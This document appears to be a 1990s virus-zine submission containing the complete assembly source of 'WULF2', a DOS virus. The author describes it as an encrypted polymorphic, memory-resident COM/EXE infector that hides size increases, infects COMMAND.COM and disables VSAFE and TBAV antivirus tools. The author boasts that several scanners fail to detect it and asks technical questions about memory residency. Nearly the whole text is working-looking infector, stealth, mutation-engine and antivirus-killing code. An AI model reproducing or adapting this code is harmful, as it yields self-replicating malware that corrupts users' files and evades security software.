---------------------------------------------------------------------- WULF2 is: - Encrypted polymorphic TSR COM / EXE infector - hides file size increases - COMMAND.COM infection (if you don't want to infect it, just add 7,'COMMAND' in the unfriendly list) - retro scanners - disable TBAV - 16 different encryption mechanisms (based on Rol, Ror and Xor) - NO BOMB ! - not too bad coding (well, I hope!) Remove all infected files to cure your computer. That's all. ---------------------------------------------------------------------- Further improvements ... - slower mutation speed - MCB stealth - file disinfection on read or 4b01h (debug) - code generation * F-prot 2.21, AVPLITE 2.2, and THUNDERBYTE 7.00 catch nothing as they don't know how to decrypt it. (Tbav set the '@' flag because of the 'DEC SP' in the decryptor') * AHA the new heuristic engine from Dr Solomon's FINDVIRU 7.56 manages to decrypt and detect it as a virus ... I'm not worried about it because it's very easy to change the main code in order not to be detected, that's what I've done in my SCREAM virus which is not encrypted and not detected heuristicaly ! but the code becomes then around 100 bytes longer. And now, 2 questions: --------------------- - Why doesn't the original dos handler work properly with the ah = 5701h function (I use dos version 6.22 and the same file gets infected again and again because the second stamp marker isn't set by the dos) - Many viruses of the Vlad magazines use the following code to remain resident: mov ax,es dec ax mov ds,ax cmp byte ptr ds:[0],'Z' jne Dont_Install sub word ptr ds:[03h],Virus_Size sub word ptr ds:[12h],Virus_Size mov es,word ptr ds:[12h] etc ... BUT then the Upper memory becomes 0 (the UMB chain at 9fff:0 is killed) example: * Before loadind the virus MEMORY TYPE TOTAL USED FREE -------------- ----- ---- ---- Conventional 640K 48K 592K Upper 159K 159K 0K <-- 159K Reserved 384K 384K 0K Extended (XMS) 15 201K 164K 15 037K * AFTER loadind the virus MEMORY TYPE TOTAL USED FREE -------------- ----- ---- ---- Conventional 640K 48K 592K Upper 0K 0K 0K <-- all 0 !!? Reserved 384K 384K 0K Extended (XMS) 15 201K 164K 15 037K ==> One of the bad consequencies is that then windows is loaded in conventional memory, and just let you about 450K of free conventional memory. Maybe you could answer this 2 questions in your next issue ... Thank you for correcting my english which is far from perfect ;ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ ;- WULF 2 - ; ; by ; ; WereWolf ;_____________________________________________________________ ; .model tiny ; .code ; .stack ; org 0eh ; ; VirSize = (Vend - Vstart + 10h)/10h ; it's + 10h ! (and no +0fh because we read VirLength = (Vcrypted - Vstart + 10h) ; one more byte to encrypt the code) Marker = 6 / 2 ; files with 6 seconds ; ; WULF2: jmp Venter + 2 ; ; Vstart: db Vcrypted - Crypted dup (0) ; reserved for the decryptor ; Venter: mov sp,bp ; in al,21h ; push ax ds es; ;--- check install --- ; mov ax,52b3h; out 21h,al ; disable keyboard + clock int 21h ; ; cld ; call Install ; ; ;--- back to the host --- ; Host: pop es ds ax; out 21h,al ; enable keyboard + clock lea si,[bp+Buffer-Host] ; mov di,100h ; call Test_Exe; are we attached to an exe ? jne Return_Com ; so, we are attached to a com file Return_Exe: mov ax,es ; add ax,10h ; add word ptr cs:[Jump+2],ax ; db 5 ; add ax,xxxx OldSS dw 0 ; cli ; mov ss,ax ; db 0bch ; mov sp,xxxx OldSP dw 0 ; sti ; call Clear_Reg ; db 0eah ; Jump dd 0fff00000H ; ; ;--- variables -----------------------------------------; ComJump db 0e9h ; jump for com file infection Buffer db 'MZ' ; marker for exe file db 19h dup (0) ; also used for exe header w512 dw 512 ; used to divide exe file's size Stealth_Flag db 1 ; Stealth ON / OFF Sav24 db 0 ; first byte of int 24h handler ;-------------------------------------------------------; ; Return_Com: push di ; di = 100h movsw ; movsb ; Clear_Reg: xor ax,ax ; xor bx,bx ; xor cx,cx ; cwd ; dx = 0 xor di,di ; xor si,si ; xor bp,bp ; Bye: ret ; ; ;--- install virus in memory ---; install:pop bp ; push bp ; jc Bye ; already installed ; call Kill_AV ; kill VSAFE & TBAV ; mov dx,ds ; later used to find Dos entry mov ds,es:[bx-2] ; ; ;--- disable int 1 & int 3 --- ; mov al,0cfh ; code for IRET xor si,si ; mov es,si ; les di,dword ptr es:[si+4] ; stosb ; mov es,si ; les di,dword ptr es:[si+0ch]; stosb ; ; ;--- allocate memory ---; mov di,3 ; mov ax,VirSize + 1 ; Check_MCB: cmp byte ptr ds:[si],'M' ; je Next_MCB; cmp byte ptr ds:[si],'Z' ; jne Get_MCB ; cmp word ptr ds:[di],ax ; not enough memory jbe Bye ; mov byte ptr ds:[si],'M' ; sub word ptr ds:[di],ax ; ax = VirSize + 1 Next_MCB: mov bx,ds ; add bx,ds:[di] ; inc bx ; mov ds,bx ; jmp Check_MCB ; Get_MCB:mov byte ptr ds:[si],'Z' ; mov word ptr ds:[si+1],8 ; we are part of DOS system now dec ax ; mov word ptr ds:[di],ax ; ax = VirSize push ds ; pop es ; ; ;--- move in memory --- ; push cs ; pop ds ; lea di,Vstart ; lea si,[bp+Vstart-Host] ; mov cx,Vcrypted - Vstart ; rep movsb ; ; mov ds,cx ; ds = 0 ; ;--- save initial int 21 address --- ; cli ; mov si,84h ; 0000:0084 (int 21) push si ; lea di,Sav21; movsw ; movsw ; pop si ; lea di,Real21 ; movsw ; movsw ; ;--- hook int 21h --- ; mov word ptr [si-4],offset Int21 ; mov word ptr [si-2],es ; ; ;-------------------------------------------------------; ;Find Original DOS Entry ; ;----------------------- ; ;; ;WereWolf thanks Satan's Little Helper ; ;(article in VLAD#3) ; ;-------------------------------------------------------; mov ax,9090h; double-NOP ;--- int 30h trace --- ; mov bx,0c0h ; ds:bx = 0000:00C0 = int 30h call Trace ; ;--- psp trace --- ; mov ds,dx ; ds points on the current PSP lds bx,dword ptr ds:[6] ; ds:0006 points the dos dispatch handler ;--- trace dos entry ---; Trace: cmp byte ptr ds:[bx],0eah ; is it JMP xxxx:xxxx ? jne Check_Dispatch ; lds bx,ds:[bx+1] ; point to xxxx:xxxx of the JMP cmp word ptr ds:[bx],ax ; check for the double-NOP signature jne Trace ; sub bx,32h ; 32h byte offset from dispatch cmp word ptr ds:[bx],ax ; is it the entry ? (double-NOP signature) je Entry_Found ; Check_Dispatch: cmp word ptr ds:[bx],2e1eh ; check for push ds, cs: override jne Trace_Failed ; add bx,25h ; 25h byte offset from dispatch cmp word ptr ds:[bx],80fah ; check for cli, push ax jne Trace_Failed ; Entry_Found: mov word ptr es:Real21,bx ; save the dos entry mov word ptr es:Real21+2,ds ; Trace_Failed: ret ; ; ;-------------------------------------------------------; ;Kill VSAVE & TBAV ; ;----------------- ; ;; ;WereWolf greets Vyvojar for this code ; ;-------------------------------------------------------; ; Tbname db 'TBMEMXXX','TBCHKXXX' ; thunderbyte's drivers db 'TBDSKXXX','TBFILXXX' ; ; Kill_AV:push ax bx cx dx di ds es ; mov ah,0ffh ; xor bl,bl ; int 13h ; mov ah,0feh ; int 13h ; ;--- kill VSAFE --- ; mov ax,0fa02h ; mov dx,5945h; mov bl,31h ; int 16h ; ;--- kill TBAV --- ; push cs ; pop ds ; mov ah,52h ; int 21h ; les bx,es:[bx+22h] ; Search_Device: lea si,[bp + Tbname - 8 - Host] ; mov cx,4 ; Search_Utility: push cx ; add si,8 ; lea di,[bx+0ah] ; mov cl,4 ; push si ; repe cmpsw ; pop si cx ; loopne Search_Utility ; jne Next_Device ; or byte ptr es:[16h],1 ; eliminates TB utility Next_Device: les bx,es:[bx] ; cmp bx,-1 ; jne Search_Device ; pop es ds di dx cx bx ax ; ret ; ; ;--- Signature --- ; VirusName db "[WULF2]",0 ; it has to be put somewhere VirusDad db "İ1996 WereWolf",0 ; so why not here ?? ; ;-------------------------------------------------------; ; NEW INT 21H HANDLER ; ;-------------------------------------------------------; Int21: sti ; cmp ax,52b3h; self-check install ? jne Intercept0 ; stc ; jmp Retf2 ; ; Intercept0: push ax ; save ax xor ah,11h ; ah=11h find first FCB jz Stealth ; xor ah,3 ; ah=12h find next FCB jz Stealth ; xor ah,5ch ; ah=4eh find first Handle jz Stealth ; xor ah,1 ; ah=4fh find next Handle jnz Intercept1 ; ; Stealth:pop ax ; mov byte ptr cs:Buffer,ah ; save ah call i21 ; jc Retf2 ; pushf ; cmp byte ptr cs:Stealth_Flag,0 ; Stealth ON ? jz Popf_Retf2 ; push ax bx si di ds es ; mov ah,2fh ; call i21 ; push es ; pop ds ; mov di,16h ; mov si,1ah ; cmp byte ptr cs:Buffer,12h ; ja S1 ; inc di ; di = 0017h mov si,1dh ; cmp byte ptr ds:[bx],0ffh ; is it a large FCB ? jne S0 ; add bx,7 ; yes, so translate S0: cmp word ptr ds:[bx+9],'XE' ; je S1 ; cmp word ptr ds:[bx+9],'OC' ; jne Return_Stealth ; S1: mov ax,ds:[bx+di] ; ax = file time and al,1fh ; show seconds cmp al,Marker ; jne Return_Stealth ; not infected les ax,dword ptr ds:[bx+si] ; mov di,es ; sub ax,VirLength ; sbb di,0 ; jc Return_Stealth ; too small to have been infected S2: mov ds:[bx+si],ax ; mov ds:[bx+si+2],di ; Return_Stealth: pop es ds di si bx ax ; Popf_Retf2: popf ; Retf2: retf 2 ; ; Intercept1: xor ah,4 ; ah=4bh program execution jz Execution ; xor ah,7 ; ah=4ch end program jz Stealth_ON ; xor ah,7dh ; ah=31h tsr function jnz J21 ; push bp ; lea bp,Host ; call Kill_AV ; kill VSAFE & TBAV pop bp ; Stealth_ON: mov byte ptr cs:Stealth_Flag,1 ; Stealth On J21: jmp Jump21 ; ; Execution: cmp al,1 ; we don't want special ja J21 ; exec functions push bx cx bp si di es dx ds ; xor bp,bp ; ;--- disable keyboard & timer --- ; in al,21h ; or al,3 ; out 21h,al ; ;--- inactive int 3h & int 24h--- ; mov al,0cfh ; CF = code for IRET mov es,bp ; es = 0 les di,dword ptr es:[bx+0ch]; stosb ; mov es,bp ; es = 0 les di,dword ptr es:[90h] ; xchg byte ptr es:[di],al ; mov byte ptr cs:Sav24,al ; ; ;--- get attribute --- ; mov ax,4300h; ax = 4300h call i21 ; push cx ; save attribute ;--- point file name ---; mov si,dx ; ds:si points to file's name cld ; Scan_Fname1: lodsb ; or al,al ; jnz Scan_Fname1 ; Scan_Fname2: dec si ; cmp byte ptr [si-1],'\' ; je Check_Fname0 ; cmp byte ptr [si-1],'/' ; jne Scan_Fname2 ; ; ;--- check for unfriendly programs --- ; Check_Fname0: push cs ; pop es ; xor cx,cx ; lea di,ProgList ; Check_Fname1: mov cl,byte ptr cs:[di] ; jcxz Open_File ; end of list ? inc di ; mov ax,di ; add ax,cx ; push ax si ; Check_Fname2: lodsb ; cmp al,'a' ; jb Check_Fname3 ; cmp al,'z' ; ja Check_Fname3 ; sub al,('a'-'A') ; convert 'a' to 'A', 'b' to 'B' etc ... Check_Fname3: scasb ; loope Check_Fname2 ; pop si di ; jne Check_Fname1 ; cmp di,offset EndProgList ; jb JRestore_2 ; Stealth_OFF: mov byte ptr cs:Stealth_Flag,0 ; Stealth OFF for F-PROT & CHKDSK je Open_File ; if di=EndProgList then ds:si='CHKDS' JRestore_2: jmp Restore_2 ; else ds:si='F-' ; Open_file: ; ;--- set r/w access --- ; cx = 0 after Check_Fname routine mov ax,4301h; ax = 4301h call i21 ; jc JRestore_2 ; ;--- r/w open file --- ; mov ax,3d02h; call i21 ; jc JRestore_2 ; xchg bx,ax ; push cs ; pop ds ; ds = cs ;--- read file --- ; lea dx,Buffer ; mov si,dx ; mov cx,1bh ; mov ah,3fh ; call i21 ; jc Restore_1 ; ;--- read date & time --- ; mov ax,5700h; call i21 ; jc Restore_1 ; ;--- test file for infection ---; mov ax,cx ; and al,1fh ; cmp al,Marker ; je Restore_1 ; ;--- test if valid exe --- ; call Test_Exe; is it an exe file ? je Exe_File; push cx dx ; save Time & Date call Infect_Com ; jmp Restore ; Exe_File: cmp byte ptr [si+18h],40h ; No new exe header (windows) je Restore_1 ; cmp byte ptr [si+1ah],0 ; No overlays jne Restore_1 ; push cx dx ; save Time & Date call Infect_Exe ; Restore:pop dx cx ; restore Time & Date jc Restore_0 ; any problem occured ? ; ;--- mark the file --- ; and cx,0ffe0h ; or cl,Marker ; ; ;--- restore date & time --- ; Restore_0: mov ax,5701h; for some reasons ;--- Normal int 21h call --- ; this Dos function doesn't pushf ; work using the Dos entry db 9ah ; that's why we use a normal Sav21 dd 0 ; Dos call Restore_1: mov ah,3eh ; close file call i21 ; Restore_2: pop cx ds dx; restore attribute mov ax,4301h; call i21 ; ; ;--- restore int 24h ---; Rest_Int24: mov al,byte ptr cs:Sav24 ; mov es,bp ; les di,dword ptr es:[90h] ; mov byte ptr es:[di],al ; ;--- enable keyboard & timer ---; in al,21h ; and al,0fch ; out 21h,al ; pop es di si bp cx bx ; restore registers Jump21: pop ax ; cli ; jmp dword ptr cs:Sav21 ; jump to int 21h ; ;--- test if EXE --- ; Test_Exe: cmp word ptr cs:[si],'ZM' ; look for 'MZ' je Test_End; cmp word ptr cs:[si],'MZ' ; look for 'ZM' Test_End: ret ; ; ;--- MUTATION ENGINE -----------------------------------; Mxchg0: cli ; mov bp,sp ; Mxchg1: cli ; xchg sp,bp ; Mxchg2: cli ; xchg bp,sp ; cli ; ; Random1 dw 0 ; Random2 dw 0 ; ; Infect: push bx si dx ax ; ;--- get random values --- ; GetKey: xor dx,dx ; mov es,dx ; les dx,es:[46ch] ; bios timer ;--- mutate decryptor --- ; Mut0: mov cx,es ; add ax,cx ; add ax,dx ; mov word ptr Random1,dx ; save random values mov word ptr Random2,ax ; push cs ; pop es ; es = ds = cs lea di,Crypted ; and ax,1 ; cmp dh,80h ; ja Mut1 ; inc ax ; Mut1: mov si,ax ; add si,si ; add si,ax ; si = 3 * ax lea si,[si+Mxchg0] ; cmp dh,dl ; jb Mut2 ; inc si ; Mut2: movsw ; xchg bp,sp (or mov bp,sp etc ...) movsb ; cli inc di ; jump the mov sp, pop ax ; stosw ; InitSP add al,dl ; adc ah,0 ; add ax,Vcrypted - Venter + 1; mov word ptr EndSP,ax ; EndSP ; and dx,7 ; mov ax,dx ; add ax,0d0c0h ; xchg ah,al ; rol byte,1 mov cx,ax ; and ch,4 ; rol a.,1 add ch,0c0h ; mov bx,8 ; cmp byte ptr Random2 + 1,80h; jb Mut3 ; xchg bh,bl ; Mut3: add ah,bh ; add ch,bl ; mov word ptr Func2,cx ; mov bx,dx ; mov cx,3 ; and bl,cl ; add bl,58h ; xchg bx,ax ; stosb ; pop sub al,8 ; push ax ; save associated push xchg bx,ax ; stosw ; rol or ror and dx,cx ; mov ax,dx ; shl ax,cl ; add ax,dx ; ax = 9 * dx xchg ah,al ; mov cx,0c432h ; xor al,ah add ax,cx ; xor .l,.h cmp byte ptr Random1,80h ; jb Mut4 ; add ah,1ch ; add ch,1ch ; Mut4: mov word ptr Func1,cx ; xor ah,al or xor al,ah stosw ; xor .h,.l or xor .l,.h pop ax ; stosb ; mov bx,word ptr Random2 ; push bx ; cmp bh,bl ; jb Mut5 ; mov ax,word ptr Func1 ; xchg ax,word ptr Func2 ; mov word ptr Func1,ax ; mov ax,word ptr F1 ; xchg ax,word ptr F2 ; mov word ptr F1,ax ; ; Mut5: and bx,7 ; cmp bl,4 ; no pop sp ! je Mut6 ; cmp bl,5 ; no pop bp ! jne Mut7 ; Mut6: inc bx ; inc bx ; Mut7: mov ax,bx ; add ax,4c58h; dec sp + pop .. pop bx ; and bh,1 ; jz Mut8 ; xchg ah,al ; dec sp <-> pop .. Mut8: stosw ; add di,4 ; mov al,72h ; jb cmp bl,80h ; jb Mut9 ; mov al,76h ; jbe Mut9: stosb ; ; ;--- encrypt virus --- ; Encrypt:mov si,di ; di = Vcrypted - 1 mov cx,Vcrypted - Venter ; add di,cx ; std ; lodsb ; inc si ; E0: xchg ah,al ; lodsb ; Func1 dw 0 ; Func2 dw 0 ; stosw ; inc di ; loop E0 ; cld ; ; ;--- write encrypted code --- ; pop di ; lea dx,[Crypted-10h-di] ; mov cx,VirLength ; pop si bx ; jmp Write_File ; ; ;--- Unfriendly programs -------------------------------; ProgListdb 5,'CLEAN',3,'AVP',2,'TB',1,'V' ; db 4,'SCAN',3,'NAV',3,'IBM'; db 5,'FINDV',5,'GUARD',2,'FV' ; db 6,'CHKDSK' ; CHKDSK can be infected EndProgList db 2,'F-',0; ; ;--- EXE infection -------------------------------------; Infect_Exe: les ax,dword ptr [si+14h] ; save old CS:IP mov word ptr [Jump],ax ; mov word ptr [Jump+2],es ; les ax,dword ptr [si+0eh] ; save old SS:SP mov word ptr OldSP,es ; mov word ptr OldSS,ax ; mov al,2 ; move pointer to call Move_ptr; the end of file push ax dx ; save file size xchg di,ax ; mov cx,dx ; mov ax,word ptr [si+4] ; dec ax ; mul w512 ; add ax,word ptr [si+2] ; adc dx,bp ; sub ax,di ; sbb dx,cx ; pop dx ax ; jc Return ; internal overlays detected push ax dx ; mov di,[si+8] ; header size in paragraphs mov cl,4 ; shl di,cl ; multiply by 16 sub ax,di ; header size - file size sbb dx,bp ; now DX:AX=file size - header size mov cx,10h ; DX:AX/CX=AX remainder DX div cx ; mov [si+14h],cx ; IP offset mov [si+16h],ax ; CS displacement in module inc ax ; mov [si+0eh],ax ; SS displacement mov byte ptr [si+11h],cl ; starting SP ; mov ax,Vcrypted - Crypted ; call Infect ; pop dx ax ; restore file size jc Return ; ; add ax,cx ; cx = Vend - Vstart + 10h adc dx,bp ; div w512 ; or dx,dx ; jz End_Infect ; inc ax ; End_Infect: mov [si+2],dx ; number of 512 pages mov [si+4],ax ; number of bytes in last page xor ax,ax ; move pointer call Move_Ptr; to the bigining of the file mov dx,si ; write new header mov cl,18h ; Write_File: mov ah,40h ; ;--- Real int 21h call --- ; i21: pushf ; db 9ah ; Real21 dd 0 ; Return: ret ; ; ;--- Move file pointer --- ; Move_Ptr: mov ah,42h ; cwd ; xor cx,cx ; jmp i21 ; ; ;--- COM Infection -------------------------------------; Infect_Com: mov al,2 ; move pointer to the call Move_ptr; end of file or dx,dx ; size > 64k ? stc ; jnz Return ; cmp ax,64000 - VirLength ; ja Return ; Not too big sub ax,3 ; jc Return ; but not too small push ax ; save file size ; add ax,Vcrypted - Crypted + 103h ; mov dl,10h ; call Infect ; pop word ptr ds:[si]; set jump address jc Return ; ; xor ax,ax ; move pointer to the call Move_Ptr; bigining of the file mov dl,ComJump - Vstart + 10h ; dx = offset ComJump mov cl,3 ; jmp Write_File ; write jump ; ;--- Decryptor -----------------------------------------; Crypted:cli ; mov bp,sp ; db 0bch ; mov sp,xxxx InitSP dw 0 ; M0: pop ax ; F1 dw 0 ; F2 dw 0 ; push ax ; pop bx ; dec sp ; dw 0fc81h ; cmp sp,xxxx EndSP dw 0 ; jb M0 ; ; Vcrypteddb Vcrypted - Venter dup (0) ; crypted form ; Vend: ;===============================================; ; end WULF2 ;